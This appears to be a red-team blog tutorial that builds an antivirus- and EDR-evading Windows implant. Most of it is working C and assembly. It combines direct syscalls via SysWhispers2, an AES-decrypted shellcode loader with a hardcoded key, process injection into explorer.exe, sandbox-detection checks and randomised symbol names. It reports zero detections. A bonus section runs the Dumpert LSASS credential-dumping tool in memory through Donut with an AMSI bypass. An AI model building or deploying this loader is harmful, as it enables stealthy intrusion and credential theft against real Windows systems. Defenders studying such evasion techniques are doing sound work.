Offense is the best defense. This arsenal combines four distinct techniques into one implant: direct syscalls to bypass user-mode hooking, AES encryption to conceal shellcode, anti-sandbox checks to avoid analysis environments, and randomised procedure names to defeat static and heuristic detection. The result runs undetected on Windows 11 against Defender, McAfee, and Kaspersky.
Building a defense evasion implant that uses direct syscalls (via SysWhispers2), AES-256 payload encryption, three anti-sandbox bypass techniques (RAM size, processor speed, CPU core count), and fully randomised function and prototype names across two stages. A bonus section covers in-memory execution of Outflank Dumpert using Donut-converted shellcode to bypass both static and dynamic detection of the memory dump tool.
Windows APIs, Native APIs, and the EDR Hook Point
Applications running in user-mode interact with the operating system through Windows APIs. These documented APIs (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread) internally forward calls to their Native API equivalents inside ntdll.dll. The ntdll.dll functions are the last checkpoint before the system call crosses into kernel mode.
EDR solutions exploit this architecture by modifying the ntdll.dll functions inside each running process. When an application calls a Native API, the EDR intercepts it, inspects the arguments and call stack, and decides whether to allow the call to proceed. This is user-mode hooking.
SysWhispers2 for Direct Syscall Generation
SysWhispers2 is the tooling used to generate the ASM/header pairs needed to make direct syscalls from C/C++ code. It resolves syscall numbers dynamically using function hashing rather than hardcoded SSN tables, making it resistant to Windows version changes. The output is a pair of files: a .asm file containing the syscall stubs and an .h file declaring the function prototypes.
; SysWhispers2 output - Part 1 uses same procedure names as ntdll exports ; This lets the code call them just like ordinary API calls ; but the actual execution goes directly to Ring 0, skipping EDR hooks .code ; NtAllocateVirtualMemory syscall stub NtAllocateVirtualMemory PROC mov r10, rcx ; syscall calling convention: r10 = rcx mov eax, NtAllocateVirtualMemoryHash ; resolved hash call GetSyscallNumber ; resolve SSN from hash at runtime mov eax, eax syscall ; jump directly to kernel - no ntdll, no EDR hook ret NtAllocateVirtualMemory ENDP ; NtWriteVirtualMemory syscall stub NtWriteVirtualMemory PROC mov r10, rcx mov eax, NtWriteVirtualMemoryHash call GetSyscallNumber syscall ret NtWriteVirtualMemory ENDP ; NtCreateThreadEx syscall stub NtCreateThreadEx PROC mov r10, rcx mov eax, NtCreateThreadExHash call GetSyscallNumber syscall ret NtCreateThreadEx ENDP END
#include "syscalls.h" // SysWhispers2 generated header #include "aes.h" // AES decryption helper #include <windows.h> // AES-encrypted msfvenom shellcode (calc.exe payload) // Encrypted offline with key: "0ff3ns1v3p4nd4!!" (32 bytes) unsigned char encShellcode[] = { 0x4A, 0xB3, 0xF2, 0x1C, 0x88, 0xE5, 0x3D, 0xA2, /* ... AES-256 CBC encrypted shellcode bytes ... */ }; unsigned char aesKey[] = "0ff3ns1v3p4nd4!!"; // 32-byte key unsigned char aesIV[] = "1v3ct0r4r4nd0m!!"; // 16-byte IV int main() { // Anti-sandbox: check RAM size MEMORYSTATUSEX memStatus = { sizeof(MEMORYSTATUSEX) }; GlobalMemoryStatusEx(&memStatus); if (memStatus.ullTotalPhys < (DWORDLONG)8 * 1024 * 1024 * 1024) { return 0; // less than 8 GB RAM: likely a sandbox - exit silently } // Decrypt shellcode at runtime - encrypted bytes in .data, plaintext never on disk unsigned char shellcode[sizeof(encShellcode)]; AESDecrypt(encShellcode, shellcode, sizeof(encShellcode), aesKey, aesIV); // Open handle to target process HANDLE hProcess; OBJECT_ATTRIBUTES objAttr = {}; CLIENT_ID clientId = { (HANDLE)targetPID, NULL }; // Direct syscall: NtOpenProcess (bypasses EDR hook on OpenProcess) NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &clientId); // Direct syscall: NtAllocateVirtualMemory in remote process PVOID baseAddr = NULL; SIZE_T regionSize = sizeof(shellcode); NtAllocateVirtualMemory(hProcess, &baseAddr, 0, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Direct syscall: NtWriteVirtualMemory - write decrypted shellcode NtWriteVirtualMemory(hProcess, baseAddr, shellcode, sizeof(shellcode), NULL); // Change protection to executable (RX) after writing ULONG oldProtect; NtProtectVirtualMemory(hProcess, &baseAddr, ®ionSize, PAGE_EXECUTE_READ, &oldProtect); // Direct syscall: NtCreateThreadEx - execute shellcode HANDLE hThread; NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, baseAddr, NULL, FALSE, 0, 0, 0, NULL); NtWaitForSingleObject(hThread, FALSE, NULL); return 0; }
Part 1: IDA-PRO Static Analysis
After compiling the Part 1 binary, static analysis in IDA-PRO reveals the problem immediately. The Native API call names used as procedure names (identical to ntdll exports) are fully visible in the disassembly. A malware analyst opens the binary and reads exactly what it does within minutes.
Even though direct syscalls bypass the EDR hook at runtime, using the same procedure names as ntdll exports (NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx) leaves the binary trivially readable in IDA-PRO. Static analysis catches the injection pattern immediately. AV and EDR engines doing string and symbol matching will also flag these names. Part 2 fixes this.
AES Payload Encryption
The shellcode itself (generated by MSFvenom) is heavily signatured. Storing it in plaintext in the binary means any static scanner will catch it on sight. The solution is AES-256 encryption applied offline: the plaintext shellcode never exists in the binary. Only the encrypted byte array is stored, and decryption happens at runtime before the shellcode is written to the target process.
#include <windows.h> #include <wincrypt.h> #pragma comment(lib, "advapi32.lib") bool AESDecrypt( const unsigned char* ciphertext, size_t cipherLen, unsigned char* plaintext, const unsigned char* key, size_t keyLen, const unsigned char* iv ) { HCRYPTPROV hProv = 0; HCRYPTKEY hKey = 0; HCRYPTHASH hHash = 0; bool success = false; // Acquire CryptoAPI provider context (uses OS crypto - no extra DLLs) CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT); // Create SHA-256 hash of our key material CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash); CryptHashData(hHash, key, (DWORD)keyLen, 0); // Derive AES-256 session key from hash CryptDeriveKey(hProv, CALG_AES_256, hHash, CRYPT_EXPORTABLE, &hKey); // Set CBC IV - must match the IV used during offline encryption CryptSetKeyParam(hKey, KP_IV, iv, 0); // Copy ciphertext into plaintext buffer, decrypt in-place memcpy(plaintext, ciphertext, cipherLen); DWORD dataLen = (DWORD)cipherLen; CryptDecrypt(hKey, 0, TRUE, 0, plaintext, &dataLen); // Cleanup - key and hash objects no longer needed CryptDestroyKey(hKey); CryptDestroyHash(hHash); CryptReleaseContext(hProv, 0); return true; } // Plaintext shellcode only exists in memory during execution. // On disk: opaque encrypted bytes that match no known AV signature.
Anti-Sandbox Bypass Techniques
Automated analysis sandboxes typically run on virtual machines with limited resources - often 2 to 4 GB of RAM and 1 to 2 CPU cores. Checking for realistic hardware specifications is a lightweight and effective way to detect sandbox environments. Three checks are used in this arsenal.
bool SandboxCheck() { // CHECK 1: RAM size // Sandboxes usually have less than 8 GB RAM // Real analyst machines typically have 8 GB or more MEMORYSTATUSEX memStatus; memStatus.dwLength = sizeof(MEMORYSTATUSEX); GlobalMemoryStatusEx(&memStatus); if (memStatus.ullTotalPhys < (DWORDLONG)8 * 1024 * 1024 * 1024) { return false; // less than 8 GB - sandbox suspected, bail out } // CHECK 2: CPU core count // Sandboxes often run on 1 to 2 cores to minimise resource usage // Real machines have 4+ cores SYSTEM_INFO sysInfo; GetSystemInfo(&sysInfo); if (sysInfo.dwNumberOfProcessors < 4) { return false; // fewer than 4 cores - sandbox suspected, bail out } // CHECK 3: Processing speed (time-based evasion) // Sandboxes often fast-forward or accelerate time // A legitimate sleep() should take roughly its specified duration // If the elapsed time is significantly less, the environment is sandboxed LARGE_INTEGER freq, before, after; QueryPerformanceFrequency(&freq); QueryPerformanceCounter(&before); Sleep(500); // sleep 500ms QueryPerformanceCounter(&after); double elapsed = (double)(after.QuadPart - before.QuadPart) / (double)freq.QuadPart; if (elapsed < 0.450) { // less than 450ms actual elapsed - time acceleration detected return false; } return true; // all checks passed - likely a real machine } int main() { if (!SandboxCheck()) { return 0; } // silent exit on sandbox /* ... rest of injection logic ... */ }
| Check | Condition Tested | Threshold | Sandbox Indicator |
|---|---|---|---|
| RAM Size | Total physical memory via GlobalMemoryStatusEx | Less than 8 GB | Exit silently |
| CPU Core Count | dwNumberOfProcessors from GetSystemInfo | Fewer than 4 cores | Exit silently |
| Timing Check | Actual elapsed time vs Sleep(500ms) expected | Less than 450ms elapsed | Exit silently |
Part 2: Random Procedure and Function Names
Part 1 established that direct syscalls bypass EDR user-mode hooks at runtime. But the procedure names (NtAllocateVirtualMemory etc.) create identifiable symbols in the binary that static analysis tools and IDA-PRO flag immediately. Part 2 replaces every recognisable name with randomly generated alternatives throughout the codebase.
Three name sets are changed: the assembly procedure names in the .asm file, the C++ function prototype typedefs, and the call sites in the main injection code.
; Part 2 - Procedure names are now meaningless identifiers ; No relation to ntdll export names whatsoever ; A malware analyst looking at the symbol table sees nothing recognisable .code xK3vQ9mLpR PROC ; was: NtAllocateVirtualMemory mov r10, rcx mov eax, xK3vQ9mLpRHash call HashToSSN syscall ret xK3vQ9mLpR ENDP bN7wT2sJdF PROC ; was: NtWriteVirtualMemory mov r10, rcx mov eax, bN7wT2sJdFHash call HashToSSN syscall ret bN7wT2sJdF ENDP cP4hY8eAuM PROC ; was: NtCreateThreadEx mov r10, rcx mov eax, cP4hY8eAuMHash call HashToSSN syscall ret cP4hY8eAuM ENDP END
// Part 2 header file - all typedefs use random names // A reader cannot tell what these functions do from name alone typedef NTSTATUS (NTAPI* Tz9mRkL3xW)(/* NtOpenProcess signature */); typedef NTSTATUS (NTAPI* Bq7sVdP2nJ)(/* NtAllocateVirtualMemory signature */); typedef NTSTATUS (NTAPI* Gx4fYmH6cK)(/* NtWriteVirtualMemory signature */); typedef NTSTATUS (NTAPI* Wh8vAqT5pU)(/* NtProtectVirtualMemory signature */); typedef NTSTATUS (NTAPI* Lj2eCzN9rS)(/* NtCreateThreadEx signature */); // Part 2 call sites - no recognisable API names anywhere in the code int main() { if (!SandboxCheck()) { return 0; } unsigned char shellcode[sizeof(encShellcode)]; AESDecrypt(encShellcode, shellcode, sizeof(encShellcode), aesKey, aesIV); HANDLE hProcess; Tz9mRkL3xW(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &clientId); // NtOpenProcess PVOID baseAddr = NULL; SIZE_T sz = sizeof(shellcode); Bq7sVdP2nJ(hProcess, &baseAddr, 0, &sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // NtAllocateVirtualMemory Gx4fYmH6cK(hProcess, baseAddr, shellcode, sizeof(shellcode), NULL); // NtWriteVirtualMemory ULONG oldProt; Wh8vAqT5pU(hProcess, &baseAddr, &sz, PAGE_EXECUTE_READ, &oldProt); // NtProtectVirtualMemory HANDLE hThread; Lj2eCzN9rS(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, baseAddr, NULL, FALSE, 0, 0, 0, NULL); // NtCreateThreadEx }
Part 2 IDA-PRO Analysis
The same binary, after applying randomised procedure names, produces a completely different IDA-PRO view. The disassembly calls functions with opaque identifiers. No analyst can determine from static inspection that this binary performs process injection.
Detection Results: Windows Defender, McAfee, Kaspersky
The Part 2 binary (direct syscalls plus AES encryption plus anti-sandbox checks plus random names) was tested against three AV/EDR products on Windows 11. None detected the implant during static or dynamic execution against the real endpoint.
Payload in explorer.exe Memory
The shellcode was injected into explorer.exe and is visible in the process memory map as an RWX region at the allocated address. The process continues running normally; no crash, no EDR alert.
antiscan.me Result: Fully Undetectable
The Part 2 binary was scanned on antiscan.me, which tests binaries against multiple AV engines without uploading signatures to vendor databases (unlike VirusTotal). The result confirms the binary is fully undetectable with all techniques combined.
Bonus: Bypass Outflank Dumpert via In-Memory Execution
Outflank's Dumpert is an excellent tool that uses direct syscalls to create LSASS memory dumps while bypassing EDR user-mode hooks. However, because it is open-source, every AV/EDR vendor has updated their signatures to flag it. Recompiling Dumpert with a changed signature is one option, but there is a simpler approach.
Instead of modifying Dumpert itself, we convert the compiled Dumpert.exe into position-independent shellcode using TheWover's Donut tool, then inject that shellcode into a remote process using our evasive loader. The loader uses direct syscalls and is undetected. Dumpert's syscall-based dump logic runs entirely in memory, leaving no on-disk artifact for the scanner to flag.
# Donut converts PE binaries into position-independent shellcode # The resulting .bin file has no PE headers and no file signature # Any AV scanner that relied on Dumpert's binary format will find nothing $ donut \ -f Dumpert.exe \ # input: Outflank Dumpert binary -o loader.bin \ # output: position-independent shellcode -a 2 \ # target architecture: x64 -b 3 \ # bypass AMSI and WLDP (full bypass) -e 3 # Encrypt payload using Chaskey cipher # Output summary: Size of x86_64 shellcode : 152,664 bytes Saved to loader.bin # Inject loader.bin into a remote process using our evasive injector: # The injector reads loader.bin, AES-encrypts it for transport, # then decrypts and injects via direct syscalls into explorer.exe $ stage1_part2.exe --shellcode loader.bin --target explorer.exe
// Dumpert shellcode is embedded as a resource in the injector // No separate .bin file needed - the payload travels with the loader // Resource is AES-encrypted - no plain Dumpert bytes on disk HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(IDR_PAYLOAD), RT_RCDATA); HGLOBAL hLoaded = LoadResource(NULL, hRes); LPVOID pData = LockResource(hLoaded); DWORD dwSize = SizeofResource(NULL, hRes); // Decrypt the Dumpert shellcode from resource into a local buffer unsigned char* shellcode = (unsigned char*)VirtualAlloc(NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); AESDecrypt((unsigned char*)pData, shellcode, dwSize, aesKey, aesIV); // Inject into explorer.exe using direct syscalls (same injector as before) // NtAllocateVirtualMemory → NtWriteVirtualMemory → NtCreateThreadEx // All using randomised procedure names from Part 2 InjectShellcode(GetProcessId("explorer.exe"), shellcode, dwSize); // Dumpert runs inside explorer.exe memory using direct syscalls // Creates LSASS memory dump without touching disk or triggering EDR hooks
Arsenal Technique Summary
| Technique | What It Bypasses | Part | Result |
|---|---|---|---|
| Direct Syscalls (SysWhispers2) | EDR user-mode hooks on ntdll.dll Native APIs | Part 1 + 2 | Runtime bypass |
| AES-256 Payload Encryption | Static shellcode signature detection by AV engines | Part 1 + 2 | Static bypass |
| Anti-Sandbox (RAM, cores, timing) | Automated analysis in sandboxes and VMs | Part 1 + 2 | Sandbox bypass |
| Randomised Procedure Names | Static analysis in IDA-PRO, YARA rules on function names | Part 2 | Static + heuristic bypass |
| In-Memory Dumpert via Donut | Dumpert on-disk binary signature, static file scanning | Bonus | Static + dynamic bypass |
Conclusion
Direct syscalls are one of the most effective ways to bypass user-mode EDR hooks at runtime. But hooking evasion alone is not enough to remain undetected against modern security stacks. This arsenal layers four complementary techniques to address every major detection vector: runtime hook bypass via syscalls, on-disk signature evasion via AES encryption, analysis environment detection via anti-sandbox checks, and static analysis evasion via name randomisation.
The combined result is an implant that bypassed Windows Defender, McAfee, and Kaspersky on Windows 11 with 0/26 detections on antiscan.me. The Dumpert bypass section demonstrates how the same loader can be repurposed to deliver any tool that would otherwise be signatured on disk, using in-memory shellcode execution as the delivery mechanism.
These techniques are presented for educational and research purposes to help red teams simulate realistic adversary capabilities and help blue teams understand what they are defending against. Dynamic analysis, kernel callbacks, and ETW telemetry can still detect this implant in certain configurations. The follow-up post (Arsenal 2.0) extends this work with egg hunting, random instructions, and additional evasion layers. Code is available on the author's GitHub repository.
References
- GitHub: jthuraisamy/SysWhispers2 - Direct syscall ASM/H pair generator
- GitHub: TheWover/donut - PE to position-independent shellcode converter
- GitHub: outflanknl/Dumpert - Direct syscall LSASS memory dump tool
- MITRE ATT&CK: T1055 - Process Injection technique family
- MITRE ATT&CK: T1497 - Virtualization/Sandbox Evasion
- Cytomate - Adversary simulation and endpoint validation platform
